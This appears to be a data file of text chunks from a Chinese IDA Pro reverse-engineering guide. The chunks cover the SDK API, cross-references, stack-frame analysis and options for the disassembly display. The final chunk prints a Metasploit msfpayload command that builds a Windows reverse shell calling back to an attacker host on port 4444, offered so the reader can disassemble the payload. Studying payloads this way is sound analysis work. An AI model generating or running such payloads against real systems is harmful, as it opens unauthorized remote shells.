    {"text": "IDC SetArrayLong 函数将一个整数存储到 altval（ 'A' ）数组中，而 SetArrayString 函数将一个字符串存储到 supval （ 'S' ）数组中。 当你使用 GetArrayElement 函数从IDC 数组中检索一个值时，你提供的标签（ AR_LONG 或 AR_STR ）代表altval和supval 数组用于存储对应的整数或字符串数据的标签。"},
    {"text": "netnode n(\"$ idabook\", 0, true); n.kill(); //entire contents of n are deleted 在删除各数组元素或全部数组内容时，你必须选择适当的删除函数，因为这些函数的名称非常相似。"},
    {"text": "下面带有注释的例子说明了如何删除altval： netnode n(\"$ idabook\", 0, true); ➋ n.altdel(100); //delete item 100 from the default altval array ('A') n.altdel(100, (char)3); //delete item 100 from altval array 3 ➊ n.altdel(); //delete the entire contents of the default altval array n.altdel_all('A'); //alternative to delete default altval array contents n.altdel_all((char)3); //delete the entire contents of altval array 3; 请注意，删除默认 altval数组全部内容（➊）所使用的语法，与删除默认 altval数组中一个元素（➋）所使用的语法非常相似。"},
    {"text": "16.2.3 有用的SDK数据类型 IDA 的API 定义了许多C++ 类，专门模拟可执行文件中的各个组件。 SDK中包含大量类，用于描述函数、程序节、数据结构、各汇编语言指令以及每条指令中的各操作数。 SDK还定义了其他类，以实现IDA 用于管理反汇编过程的工具。"},
    {"text": "这个类从 area_t 继承而来，其中添加了其他一些数据字段以记录函数的二进制属性，如函数是否使用帧指针，还记录了描述函数的局部变量和参数的属性。"},
    {"text": "segment_t 类是 area_t 的另一个子类，其中添加了一些数据字段，以描述段的名称、段中可用的权限（可读、可写、可执行）、段的类型（代码、数据等）、一个段地址所使用的位数（16 、32 或64 位）。"},
    {"text": "这个结构体中的字段描述所使用的处理器模块的名称、输入文件类型（如通过 filetype_t 枚举得到的 f_PE 或 f_MACHO ）、程序进入点（ beingEA ）、二进制文件中的最小地址（ minEA ）、二进制文件中的最大地址（ maxEA ）、当前处理器的字节顺序（ mf ）以及通过解析 ida.cfg 得到的许多配置设置。"},
    {"text": "struc_t 中包含描述结构体属性（如它是结构体还是联合，该结构体在IDA 显示窗口中处于折叠还是打开状态）的标志，其中还包括一个结构体成员数组。"},
    {"text": "这个类包含一个以零为基数的字段，用于存储操作数数量（ n ）、一个操作数类型字段（ type ）以及其他许多字段，它们的作用因操作数的类型而异。"},
    {"text": "这个类中的字段描述该指令在反汇编代码清单中的地址（ ea ）、该指令的类型（ itype ）、该指令的字节长度（ size ）、一个可能由6个 op_t 类型的操作数数值（ Operand ）构成的数组（IDA 限制每条指令最多使用6个操作数）。"},
    {"text": "上面并没有列出 SDK 所使用的全部数据类型，它仅仅介绍了一些较为常用的类，以及这些类中的一些较为常用的字段。 16.2.4 常用的SDK函数 虽然SDK使用C++ 编程，并定义了大量C++ 类，但在许多时候，SDK更倾向于使用C风格的非成员函数来操纵数据库中的对象。 对于多数API 数据类型，SDK常常使用非成员函数（它们需要一个指向某个对象的指针）而不是以你期望的方式操纵对象的成员函数来处理它们。"},
    {"text": "uchar get_byte(ea_t addr) ，读取虚拟地址 addr 处的当前字节值。 ushort get_word(ea_t addr) ，读取虚拟地址 addr 处的当前字值。 ulong get_long(ea_t addr) ，读取虚拟地址 addr 处的当前双字值。"},
    {"text": "patch_byte(ea_t addr, ulong val) ，在虚拟地址 addr 处设置一个字节值。 patch_word(long addr, ulonglong val) ，在虚拟地址 addr 处设置一个字值。 patch_long(long addr, ulonglong val) ，在虚拟地址 addr 处设置一个双字值。 patch_many_bytes(ea_t addr, const void *buffer, size_t len) ，用用户提供的 buffer 中的 len 个字节修补以 addr 开头的数据库。 ulong get_original_byte(ea_t addr) ，读取虚拟地址 addr 处的初始字节值（修补之前）。 ulonglong get_original_word(ea_t addr) ，读取虚拟地址 addr 处的初始字值。 ulonglong get_original_long(ea_t addr) ，读取虚拟地址 addr 处的初始双字值。"},
    {"text": "char *askfile_c(int dosave, char *default, char *prompt, ...) ，显示一个“保存文件”（ dosave=1 ）或“打开文件”（ dosave=0 ）对话框，最初显示默认指定的目录和文件掩码（如C:\\windows\\*.exe ）。"},
    {"text": "askyn_c(int default, char *prompt, ...) ，用一个答案为“是”或“否”的问题提示用户，突出显示一个 默认的 答案（1 为是，0 为否，-1 为取消）。"},
    {"text": "size_t get_func_qty() ，返回在数据库中出现的函数的数量。 func_t *getn_func(size_t n) ，返回一个指向 func_t 对象的指针， func_t 对象代表数据库中的第 n 个函数，这里的n介于零（包括）和 get_func_qty() （不包括）之间。 func_t *get_next_func(ea_t addr) ，返回一个指向 strnc_t 对象的指针， strnc_t 对象描述指定地址后面的下一个函数。 get_func_name(ea_t addr, char *name, size_t namesize) ，将包含指定地址的函数的名称复制到函数提供的名称缓冲区中。 struc_t *get_frame(ea_t addr) ，返回一个指向 struc_t 对象的指针， struc_t 对象描述包含指定地址的函数的栈帧。"},
    {"text": "注意， struc_t 和 member_t 类都包含一个 tid_t 数据成员，因此，如果你已经有一个指向有效 struc_t 或 member_t 对象的指针，你就可以轻易获得类型 ID信息。 tid_t get_struc_id(char * name) ，根据名称查询一个结构体的类型ID。 struc_t * get_struc(tid_t id) ，获得一个指向 struc_t 对象的指针，该对象表示由给定类型ID指定的结构体。"},
    {"text": "member_t * get_member(struc_t *s, asize_t offset) ，返回一个指向 member_t 对象的指针，该对象描述位于给定结构体指定 offset 位置的结构体成员 member_t *get_member_by_name(struc_t * s, char *name) ，返回一个指向 member_t 对象的指针，该对象描述由给定的 name 标识的结构体成员。"},
    {"text": "add_struc_member(struc_t *s, char * name, ea_t offset, flags_t flags, typeinfo_t *info, asize_t size) 在给定结构体中添加一个给定name的新成员。"},
    {"text": "segment_t *getseg(ea_t addr) ，返回一个指向 segment_t 对象的指针，该对象包含给定的地址。 segment_t *ida_export get_segm_by_name(char * name) ，用给定的名称返回一个指向 segment_t 对象的指针。 add_segm(ea_t para, ea_t start, ea_t end, char *name, char *sclass) ，在当前数据库中创建一个段。"},
    {"text": "int get_segm_qty() ，返回数据库中的节的数量。 segment_t *getnseg(int n) ，返回一个指向 segment_t 对象的指针，该对象包含与数据库中第n个程序节有关的信息。 int set_segm_name(segment_t * s, char *name, ...) ，更改给定段的名称。"},
    {"text": "注意，IDA 可能会对 name 进行过滤，使用一个哑字符（通常为ida.cfg 中 SubstCha r指定的一个下划线）替换其中的无效字符（在ida.cfg 中没有指定为 NameChars 的字符）。"},
    {"text": "get_segm_name(segment_t * s, char *name, size_t namesize) 将给定段的可能已经被过滤的名称复制到用户提供的 name 缓冲区中。 get_true_segm_name(segment_t * s, char *name, size_t namesize) ，将给定段的准确名称复制到用户提供的 name 缓冲区中，不过滤任何字符。"},
    {"text": "get_next_cref_from(ea_t from, ea_t current) ，如果 current 已经由前一个对 get_first_ cref_from 或 get_next_cref_from 的调用返回，则返回给定地址（ from ）向其转交控制权的下一个位置。"},
    {"text": "get_next_cref_to(ea_t to, ea_t current) ，如果 current 已经由前一个对 get_first_cref_to 或 get_next_cref_to 的调用返回，则返回向给定地址（ to ）转交控制权的下一个位置。"},
    {"text": "get_next_dref_from(ea_t from, ea_t current) ，如果 current 已经由前一个对 get_first_ dref_from 或 get_next_dref_from 的调用返回，则返回给定地址（ from ）向其引用一个数据值的下一个位置。"},
    {"text": "get_next_dref_to(ea_t to, ea_t current) ，如果 current 已经由前一个对 get_first_ dref_to 或 get_next_dref_to 的调用返回，则返回将给定地址（ to ）作为数据引用的下一个位置。"},
    {"text": "1. 枚举函数 迭代数据库中函数的第一种技巧与使用 IDC 脚本迭代函数的方法类似： for (func_t *f = get_next_func(0); f != NULL; f = get_next_func(f->startEA)) { char fname[1024]; get_func_name(f->startEA, fname, sizeof(fname)); msg(\"%08x: %s\\n\", f->startEA, fname); } 另外，我们可以直接按索引号迭代函数，如下面的例子所示： for (int idx = 0; idx get_func_qty(); idx++) { char fname[1024]; func_t *f = getn_func(idx); get_func_name(f->startEA, fname, sizeof(fname)); msg(\"%08x: %s\\n\", f->startEA, fname); } 最后，我们可以采用一种较为低级的方法，利用一个由area.hpp 文件定义的名为 areacb_t 的数据结构（也叫做 区域控制块 ）。"},
    {"text": "使用 areacb_t 类，前面的例子可以改写为： ➊ int a = funcs.get_next_area(0); while (a != -1) { char fname[1024]; ➌ func_t *f = (func_t*)funcs.getn_area(a); // getn_area returns an area_t get_func_name(f->startEA, fname, sizeof(fname)); msg(\"%08x: %s\\n\", f->startEA, fname); ➋ a = funcs.get_next_area(f->startEA); } 在这个例子中， get_next_area 成员函数（➊和➋）用于重复为 funcs 控制块中的每一个区域获得索引值。 通过向 getn_area 成员函数提供每个索引值（➌），可以获得一个指向每个相关的 func_t 区域的指针。"},
    {"text": "代码清单 16-6 枚举栈帧成员 func_t *func = get_func(get_screen_ea()); //get function at cursor location msg(\"Local variable size is %d\\n\", func->frsize); msg(\"Saved regs size is %d\\n\", func->frregs); struc_t *frame = get_frame(func); //get pointer to stack frame if (frame) { size_t ret_addr = func->frsize + func->frregs; //offset to return address for (size_t m = 0; m < frame->memqty; m++) { //loop through members char fname[1024]; get_member_name(frame->members[m].id, fname, sizeof(fname)); if (frame->members[m].soff < func->frsize) { msg(\"Local variable \"); } else if (frame->members[m].soff > ret_addr) { msg(\"Parameter \"); } msg(\"%s is at frame offset %x\\n\", fname, frame->members[m].soff); if (frame->members[m].soff == ret_addr) { msg(\"%s is the saved return address\\n\", fname); } } } 这个例子使用从一个函数的 func_t 对象及其相关 struc_t 类（代表该函数的栈帧）中获得的信息，概括介绍该函数的栈帧。"},
    {"text": "void list_callers(char *bad_func) { char name_buf[MAXNAMELEN]; ea_t func = get_name_ea(BADADDR, bad_func); if (func == BADADDR) { warning(\"Sorry, %s not found in database\", bad_func); } else { for (ea_t addr = get_first_cref_to(func); addr != BADADDR; addr = get_next_cref_to(func, addr)) { char *name = get_func_name(addr, name_buf, sizeof(name_buf)); if (name) { msg(\"%s is called from 0x%x in %s\\n\", bad_func, addr, name); } else { msg(\"%s is called from 0x%x\\n\", bad_func, addr); } } } } 之所以说这个函数几乎可以实现相同的功能，是因为你没有办法确定循环的每次迭代返回的交叉引用的类型（如前所述，SDK 中没有与 IDC 的 XrefType 对应的函数）。"},
    {"text": "如果你需要确定 SDK 中的一个交叉引用的类型，你必须使用 xrefblk_t 结构体提供的另一种迭代交叉引用的方法，xref.hpp 文件描述了这个结构体。"},
    {"text": "） struct xrefblk_t { ea_t from; // the referencing address - filled by first_to(),next_to() ea_t to; // the referenced address - filled by first_from(), next_from() uchar iscode; // 1-is code reference; 0-is data reference uchar type; // type of the last returned reference uchar user; // 1-is user defined xref, 0-defined by ida //fill the \"to\" field with the first address to which \"from\" refers. ➊ bool first_from(ea_t from, int flags); //fill the \"to\" field with the next address to which \"from\" refers. //This function assumes a previous call to first_from. ➌ bool next_from(void); //fill the \"from\" field with the first address that refers to \"to\". ➋ bool first_to(ea_t to,int flags); //fill the \"from\" field with the next address that refers to \"to\". //This function assumes a previous call to first_to. ➍ bool next_to(void); }; xrefblk_t 的成员函数用于初始化结构体（➊和➋）并进行迭代（➌和➍），而数据成员则用于访问与检索到的最后一个交叉引用有关的信息。"},
    {"text": "flags 参数的合法值如下（取自 xref.hpp 文件）： #define XREF_ALL 0x00 // return all references #define XREF_FAR 0x01 // don't return ordinary flow xrefs #define XREF_DATA 0x02 // return data references only 需要注意的是，没有哪个标志值将返回的引用仅限制为代码交叉引用。"},
    {"text": "如果对代码交叉引用感兴趣，你必须将 xrefblk_t type 字段与特定的交叉引用类型（如 fl_JN ）相比较，或检查 iscode 字段，以确定最后返回的交叉引用是否为代码交叉引用。"},
    {"text": "下面 list_callers 函数的修订版本说明了一个 xrefblk_t 迭代结构体的用法： void list_callers(char *bad_func) { char name_buf[MAXNAMELEN]; ea_t func = get_name_ea(BADADDR, bad_func); if (func == BADADDR) { warning(\"Sorry, %s not found in database\", bad_func); } else { xrefblk_t xr; for (bool ok = xr.first_to(func, XREF_ALL); ok; ok = xr.next_to()) { ➊ if (xr.type != fl_CN && xr.type != fl_CF) continue; char *name = get_func_name(xr.from, name_buf, sizeof(name_buf)); if (name) { msg(\"%s is called from 0x%x in %s\\n\", bad_func, xr.from, name); } else { msg(\"%s is called from 0x%x\\n\", bad_func, xr.from); } } } } 现在，我们使用 xrefblk_t 结构体可以检查迭代器返回的每一个交叉引用的类型（➊），并确定它是否对我们有用。"},
    {"text": "未知 15.3 关联IDC 脚本与热键 有时开发一个脚本后，你会惊奇地发现，你必须进行一两次键击才能访问这个脚本。这时，你可能希望使用一个热键组合，以迅速激活脚本。幸好 IDA 提供了一种分配热键的简单方法。每次启动IDA ，它都会执行/idc/ida.idc中的脚本。这个脚本的默认版本包含一个空的main函数，因此，它不执行任何操作。为了将热键与脚本关联起来，你需要在 ida.idc 文件中添加两行代码。在第一行代码中，必须添加一个 include 指令，将脚本文件包含在 ida.idc 文件中。在第二行代码中，必须在 main 函数中添加一个对 AddHotkey 函数的调用，将特定的热键与 IDC脚本关联起来。修改后的 ida.idc 文件如下所示。 #include #include static main() { AddHotkey(\"z\", \"MyAmazingFunc\"); //Now 'z' invokes MyAmazingFunc } 如果你尝试与脚本关联的热键已经分配给另一项 IDA 操作（菜单热键或插件激活热键），这时， AddHotkey 函数将悄无声息地失败，除了在你按下热键组合后，函数不会运行外，你无法通过其他方式检测到这种失败。 这里你需要记住两个要点：第一，IDC 脚本的标准存储目录为/idc；第二，不能将脚本函数命名为 main 。如果希望 IDA 能够轻易找到脚本，可以将它复制到/idc目录中。如果要将脚本文件存储在其他位置，你需要在 include 语句中指定脚本的完整路径。在测试脚本时，使用 main 函数以独立程序的方式运行脚本会有好处。但是，一旦你准备将脚本与热键关联起来，就不能使用 main 这个名称，因为它会与 ida.idc 中的 main 函数相互冲突。必须重命名 main 函数，并在调用 AddHotkey 时使用新的名称。"},
    {"text": "未知 9.1 交叉引用 首先，需要指出的是，IDA 中的交叉引用通常简称为xref 。 如果引用的是一个IDA 菜单项或对话框中的内容，我们称这种引用为xref 。"},
    {"text": "虽然这里的两个地址都可以表示同一个程序位置，但交叉引用中使用的地址提供了额外的信息，指出交叉引用是在一个名为 _main 的函数中提出的，具体而言是 _main 函数中的第 0x2A（42 ）字节。"},
    {"text": "在接下来的讨论中，我们使用以下程序的反汇编版本： int read_it; //integer variable read in main int write_it; //integer variable written 3 times in main int ref_it; //integer variable whose address is taken in main void callflow() {} //function called twice from main int main() { int *p = &ref_it; //results in an \"offset\" style data reference *p = read_it; //results in a \"read\" style data reference write_it = *p; //results in a \"write\" style data reference callflow(); //results in a \"call\" style code reference if (read_it == 3) { //results in \"jump\" style code reference write_it = 2; //results in a \"write\" style data reference } else { //results in an \"jump\" style code reference write_it = 1; //results in a \"write\" style data reference } callflow(); //results in an \"call\" style code reference } 根据注释文本的描述，这个程序包含了 IDA 中体现所有交叉引用特性的操作。"},
    {"text": "如果指令 A 有一个指向指令 B 的普通流，那么，在反汇编代码清单中，指令 B 会紧跟在指令 A 后面显示。 在代码清单 9-1 中，除➊、➋两处的指令外，其他每一条指令都有一个普通流指向紧跟在它们后面的指令。"},
    {"text": "代码清单 9-1 交叉引用源和目标 .text:00401010 _main proc near .text:00401010 .text:00401010 p = dword ptr -4 .text:00401010 .text:00401010 push ebp .text:00401011 mov ebp, esp .text:00401013 push ecx .text:00401014 ➒ mov [ebp+p], offset ref_it .text:0040101B mov eax, [ebp+p] .text:0040101E ➐ mov ecx, read_it .text:00401024 mov [eax], ecx .text:00401026 mov edx, [ebp+p] .text:00401029 mov eax, [edx] .text:0040102B ➑ mov write_it, eax .text:00401030 ➌ call callflow .text:00401035 ➐ cmp read_it, 3 .text:0040103C jnz short loc_40104A .text:0040103E ➑ mov write_it, 2 .text:00401048 ➊ jmp short loc_401054 ➎.text:0040104A ; ------------------------------------------------------------- .text:0040104A .text:0040104A loc_40104A: ➏ ; CODE XREF: _main+2C↑j .text:0040104A ➑ mov write_it, 1 .text:00401054 .text:00401054 loc_401054: ➏ ; CODE XREF: _main+38↑j .text:00401054 ➌ call callflow .text:00401059 xor eax, eax .text:0040105B mov esp, ebp .text:0040105D pop ebp .text:0040105E ➋ retn .text:0040105E _main endp 指令用于调用函数，如➌处的 x86 call 指令，它分配到一个 调用流 （call flow ），表示控制权被转交给目标函数。"},
    {"text": "callflow 函数的反汇编代码清单如下所示： .text:00401000 callflow proc near ; CODE XREF: _main+20↓p .text:00401000 ; _main:loc_401054 ↓ p .text:00401000 push ebp .text:00401001 mov ebp, esp .text:00401003 pop ebp .text:00401004 retn .text:00401004 callflow endp 在这个例子中， callflow 所在的位置显示了两个交叉引用，表示这个函数被调用了两次。"},
    {"text": "跳转流与跳转目标位置显示的跳转式交叉引用有关，如➏处所示。 与调用式交叉引用一样，跳转交叉引用显示引用位置（跳转的源头）的地址。 跳转交叉引用使用后缀 j （看做是 Jump）。"},
    {"text": ".data:0040B720 read_it dd ? ; DATA XREF: _main+E ↑ r .data:0040B720 ; _main+25 ↑ r .data:0040B724 write_it dd ? ; DATA XREF: _main+1B ↑w .data:0040B724 ➓ ; _main+2E↑ w ... .data:0040B728 ref_it db ? ; ; DATA XREF: _main+4 ↑ o .data:0040B729 db ? ; .data:0040B72A db ? ; .data:0040B72B db ? ; 读取交叉引用 （read cross-reference）表示访问的是某个内存位置的内容。"},
    {"text": "一般而言，以一个程序指令字节为目标的写入交叉引用表示这是一段自修改代码，这种代码通常被视为无效代码，在恶意软件使用的“去模糊例程”（de-obfuscation routine）中经常可以发现这类代码。"},
    {"text": "在代码清单9-1 中，全局变量 ref_it 的地址在➒处被引用，因此，在上面的代码中， ref_it 所在的位置显示了偏移量交叉引用（后缀为 o ）的注释。"},
    {"text": "通常，代码或数据中的指针操作会导致偏移量交叉引用。 例如，数组访问操作一般通过在数组的起始地址上加上一个偏移量来实现。 因此，许多全局数组的第一个地址通常可以由偏移量交叉引用来确定。 为此，许多字符串数据（在 C/C++ 中，字符串作为字符数组）成为偏移量交叉引用的目标。 与仅源自于指令位置的读取和写入交叉引用不同，偏移量交叉引用可能源于指令位置或数据位置。 例如，如果一个指针表（如虚表）从表中的每个位置向这些位置指向的地方生成一个偏移量交叉引用，则这种偏移量交叉引用就属于源于程序数据部分的交叉引用。"},
    {"text": "分析第8 章中类 SubClass 的虚表，就可以发现这一点，它的反汇编代码清单如下所示： .rdata:00408148 off_408148 dd offset SubClass::vfunc1(void) ; DATA XREF: SubClass::SubClass(void)+12 ↑o .rdata:0040814C dd offset BaseClass::vfunc2(void) .rdata:00408150 dd offset SubClass::vfunc3(void) .rdata:00408154 dd offset BaseClass::vfunc4(void) .rdata:00408158 dd offset SubClass::vfunc5(void) 可以看到，类构造函数 SubClass:: SubClass(void) 使用了虚表的地址。"},
    {"text": "函数 SubClass:: vfunc3(void) 的标题行如下所示，显示了连接该函数与虚表的偏移量交叉引用。 .text:00401080 public: virtual void __thiscall SubClass::vfunc3(void) proc near .text:00401080 ; DATA XREF: .rdata:00408150↓o 这个例子证实了 C++ 虚函数的一个特点，结合偏移量交叉引用来考查，这个特点显得尤为明显，即 C++ 虚函数绝不会被直接引用，也绝不应成为调用交叉引用的目标。 所有C++ 虚函数应由至少一个虚表条目引用，并且始终是至少一个偏移量交叉引用的目标。"},
    {"text": "将光标悬停在交叉引用文本上，IDA 将在一个类似于工具提示的窗口中显示交叉引用源头部分的反汇编代码清单。 双击交叉引用地址，反汇编窗口将跳转到交叉引用的源位置。"},
    {"text": "将光标放在一个或多个交叉引用的目标地址上，并选择 View▶Open Subviews ▶Cross-References（查看▶打开子窗口▶交叉引用），即可打开指定位置的交叉引用完整列表，如图 9-3 所示，其中显示了变量 write_it 的交叉引用完整列表。"},
    {"text": "图9-3 交叉引用显示窗口 窗口中的每列分别表示交叉引用源头的方向（向上或向下）、交叉引用的类型（基于前面讨论的类型后缀）、交叉引用的源地址以及源地址处显示的对应反汇编文本，包括注释。"},
    {"text": "交叉引用窗口一旦打开，将会始终显示，你可以通过反汇编代码清单工作区上方的一个标题标签（与其他打开的子窗口的标题标签一起显示）访问这个窗口。"},
    {"text": "第二种访问交叉引用列表的方法是突出显示一个你感兴趣的名称，在菜单中选择Jump▶Jump to xref（使用热键CTRL+X ）打开一个对话框，其中列出了引用选中符号的每个位置。"},
    {"text": "对话框与交叉引用子窗口之间的第二个区别在于前者可以通过选择任何符号并使用热键或上下文菜单打开，而后者只能通过将光标放在一个交叉引用目标地址上，然后选择 View▶Open Subviews▶Cross-References打开。"},
    {"text": "如果使用交叉引用，定位每一个 strcpy 调用和查找任何一个 strcpy 调用一样简单，你只需使用热键CTRL+X 打开交叉引用对话框，并浏览其中的每一个调用交叉引用即可。 如果你不想花时间查找二进制文件所使用的 strcpy 函数，你甚至可以添加一段包含 strcpy 文本的注释，并使用该注释 3 激活“交叉引用”对话框。"},
    {"text": "2. C strcpy 函数将一个源字符数组（包括相关的空终止符）复制到一个目标数组中，而不检查目标数组是否拥有足够的空间可以容纳源数组中的所有字符。"},
    {"text": "图 9-5 所示为结果对话框，窗口的上半部分列出了所有调用当前函数（由打开窗口时光标所在位置决定）的位置，窗口的下半部分列出了当前函数做出的全部调用。"},
    {"text": "未知 3.6 小结 了解IDA 的基本信息之后，是使用 IDA 实现某种有用的目标的时候了。在接下来的几章中，你将了解如何使用 IDA 进行基本的文件分析，学习如何读懂 IDA 显示的数据，以及如何通过这些数据深入理解程序的功能。"},
    {"text": "一般而言，如果二进制文件非常 复杂，或者说IDA 不熟悉用于构建二进制文件的编译器所生成的代码序列，那么，IDA 在分析阶 段可能会遇到更多麻烦，因此，你也就需要对反汇编代码进行手动调整。"},
    {"text": "你也可以通过Options▶General命令打开“IDA Options”对话框，并选择“Disassembly”选项卡，为每一个反汇编行选择其他需要显示的部分（如图7-4所示）。 图7-4 反汇编行显示选项 右上角的Display disassembly line parts（显示反汇编行部分）区域提供了几个选项，可帮助你对反汇编行进行自定义。"},
    {"text": "IDA 会详细分析每一个函数，以跟踪程序栈指针的变化。 这种分析对于理解每个函数的栈帧的布局非常重要。 选中栈指针选项，IDA 将会显示栈指针在每个函数执行过程中的相对变化。"},
    {"text": "IDA 支持将一个十六进制窗口与反汇编代码清单窗口同步，查看与每一个指令有关的机器语言字节。 你可以指定IDA 应为每个指令显示的机器语言字节的数量，选择性地查看与汇编语言指令混杂在一起的机器语言字节。"},
    {"text": "不管指令多长，IDA 都会在反汇编代码清单中为你在这里指定的字节数预留显示空间，而将反汇编代码行的剩余部分移向右边，从而为你指定的操作码字节数提供空间。"},
    {"text": "➊ ➌ 000 55 push ebp 004 89 E5 mov ebp, esp 004 83 EC 78 sub esp, 78h ➋; Integer Subtraction 07C 8B 45 10 mov eax, [ebp+arg_8] 07C 89 45 F4 mov [ebp+var_C], eax 07C 8B 45 0C mov eax, [ebp+arg_4] 07C 89 45 A4 mov [ebp+var_5C], eax 07C C7 45 A0 0A ➍00+ mov [ebp+var_60], 0Ah 07C C6 45 A8 41 mov [ebp+var_58], 41h 07C 8B 45 A4 mov eax, [ebp+var_5C] 07C 89 44 24 04 mov [esp+4], eax 07C 8B 45 A0 mov eax, [ebp+var_60] 07C 89 04 24 mov [esp], eax 07C E8 91 FF FF FF call bar ➋; Call Procedure 07C C9 leave ➋; High Level Procedure Exit 000 C3 retn ➋; Return Near from Procedure 你还可以通过调整图7-4右下角的缩进值和边距，进一步自定义反汇编窗口。"},
    {"text": "IDA 维护着大量与许多常见库（如C标准库或Windows API）有关的已命名的常量，用户可以通过常量值的上下文菜单中的Use standard symbolic constant（使用标准符号常量）选项来访问这些常量。"},
    {"text": "在图7-5中，对常量0AH选择这个选项，将打开如图7-6所示的符号选择对话框。 图7-6 符号选择对话框 根据我们尝试格式化的常量值进行过滤后，这个对话框中的常量从IDA 的内部常量列表导入。"},
    {"text": "如果我们确定在创建一个X.25类型的网络连接过程中使用了该值，那么，我们就可以选择AF_CCITT，并最终得到下面的反汇编行： .text:004010A2 mov [ebp+var_60], AF_CCITT 标准常量列表非常有用，可用于确定某个特殊的常量是否与一个已知的名称有关，使我们免 于在API文档中搜索潜在的匹配项，从而帮助我们节省大量时间。"},
    {"text": "此外，如果编译器已经将函数分割到几个地址范围，或者在优化代码的过程中，编译器为节省空间，将两个或几个函数的共同结束序列合并在一起，这时，IDA 同样无法确定函数的结束部分。"},
    {"text": "多数情况下，IDA 都能找到所有这些块，并在函数的头部列出每一个块，如下面某个函数的 反汇编代码所示： .text:004037AE ChunkedFunc proc near .text:004037AE .text:004037AE var_420 = dword ptr -420h .text:004037AE var_41C = dword ptr -41Ch .text:004037AE var_4 = dword ptr -4 .text:004037AE hinstDLL = dword ptr 8 .text:004037AE fdwReason = dword ptr 0Ch .text:004037AE lpReserved = dword ptr 10h .text:004037AE .text:004037AE ; FUNCTION CHUNK AT ➊.text:004040D7 SIZE 00000011 BYTES .text:004037AE ; FUNCTION CHUNK AT .text:004129ED SIZE 0000000A BYTES .text:004037AE ; FUNCTION CHUNK AT .text:00413DBC SIZE 00000019 BYTES .text:004037AE .text:004037AE push ebp .text:004037AF mov ebp, esp 通过双击与函数块关联的地址（如➊处），可迅速到达该函数块。 在反汇编代码清单中，IDA通过界定其指令范围的注释和涉及其所属函数的注释来说明函数块，如下所示： .text:004040D7 ; START OF FUNCTION CHUNK FOR ChunkedFunc .text:004040D7 .text:004040D7 loc_0040C0D7: ; CODE XREF: ChunkedFunc+72↑j .text:004040D7 dec eax .text:004040D8 jnz loc_403836 .text:004040DE call sub_4040ED .text:004040E3 jmp loc_403836 .text:004040E3 ; END OF FUNCTION CHUNK FOR ChunkedFunc 有时候，IDA 可能无法确定与函数关联的每一个块，或者函数可能被错误地识别成函数块，而非函数本身。"},
    {"text": "IDA 认为保存的寄存器区域放在保存的返回地址顶部、与函数有关的所有局部变量的下方。 一些编译器选择将寄存器保存在函数局部变量的顶部。 IDA 认为保存这些寄存器所使用的空间属于局部变量区域，而非保存的寄存器区域。"},
    {"text": "通常，是否使用远调用，应由程序中使用的内存模式决定，而不是由体系结构支持分段［例如，在x86体系结构上使用了 大 内存模式（相对于 平 内存模式）］决定。"},
    {"text": "如果你手动选择了这个特性，一定要相应地调整保存的寄存器的大小（通常指根据保存的帧指针的大小增大）和局部变量的大小（通常指根据保存的帧指针的大小减少）。"},
    {"text": "5. 栈指针调整 如前所述，IDA 会尽其所能跟踪函数内每一条指令上的栈指针的变化。 IDA 跟踪这种变化的准确程度，在很大程度上影响着函数的栈帧布局的准确程度。"},
    {"text": "如果被调用的函数位于IDA 无法识别的共享库中（IDA 拥有与许多常用库函数的签名和调用约定有关的信息），那么，IDA 并不知道该函数使用了 stdcall 调用约定，也就无法认识到：被调用的函数会将栈指针修改后返回。"},
    {"text": "在下面的函数调用中， some_imported_func 即位于共享库中，这正好说明了上述问题（注意，“栈指针行部分”选项已被选中）： .text:004010EB 01C push eax .text:004010F3 020 push 2 .text:004010FB 024 push 1 ➋ .text:00401102 028 call some_imported_func .text:00401107 ➊ 028 mov ebx, eax 由于 some_imported_func 使用的是 stdcall 调用约定，在返回时，它清除了栈中的3 个参数，➊处的正确栈指针值应为 01C 。"},
    {"text": "要进行栈调整，首先应选中进行调整的地址，并选择Edit▶Functions▶Change Stack Pointer （热键为ALT+K），然后指定栈指针更改的字节数，在本例中为12 。"},
    {"text": "因为我们处理的是一个导入的函数，如果我们尝试导航到该函数，我们将最终导航到该函数的导入表条目，如下所示: .idata:00418078 ; Segment type: Externs .idata:00418078 ; _idata .idata:00418078 extrn some_imported_func:dword ; DATA XREF: sub_401034 ↑r 尽管这是一个导入的函数，你也可以编辑有关其行为的一条信息：与该函数有关的已删除字节的数量。"},
    {"text": "通过编辑这个函数，你可以指定它在返回时从栈中删除的字节数，IDA 将会“扩散”这一信息，将其应用于调用该函数的每一个位置，立即纠正每个位置的栈指针计算错误。"},
    {"text": "7.3.4 数据与代码互相转换 在自动分析阶段，字节有时可能被错误地归类。 数据字节可能被错误地归类为代码字节，并被反汇编成指令； 而代码字节可能被错误地归类为数据字节，并被格式化成数据值。"},
    {"text": "有许多原因会导致这类情况，如一些编译器将数据嵌入在程序的代码部分，或者一些代码字节从未被作为代码直接引用，因而IDA 选择不对它们反汇编。"},
    {"text": "下面以一个简单的函数为例： .text:004013E0 sub_4013E0 proc near .text:004013E0 push ebp .text:004013E1 mov ebp, esp .text:004013E3 pop ebp .text:004013E4 retn .text:004013E4 sub_4013E0 endp 取消这个函数的定义将得到下面这些未分类的字节，我们几乎可以以任何方式重新对它们进 行格式化： .text:004013E0 unk_4013E0 db 55h ; U .text:004013E1 db 89h ; ë .text:004013E2 db 0E5h ; s .text:004013E3 db 5Dh ; ] .text:004013E4 db 0C3h ; + 要反汇编一组未定义的字节，右击其中的第一个字节，在上下文菜单中选择Code（也可使用Edit▶Code或热键C）。"},
    {"text": "如果你的好奇心较重，总是想知道 Metasploit有效负载的运行机制，那么，你只需要使用 Metasploit生成一个原始形式的有效负载，然后反汇编得到的二进制大对象（blob ）即可。"},
    {"text": "下面的Metasploit命令生成一个有效负载，它回调攻击者计算机上的 4444 端口，并为攻击者提供目标 Windows 计算机上的一个 shell ： # ./msfpayload windows/shell_reverse_tcp LHOST=192.168.15.20 R > w32_reverse_4444 生成的文件包含所请求的有效负载，它为原始的二进制形式。"},
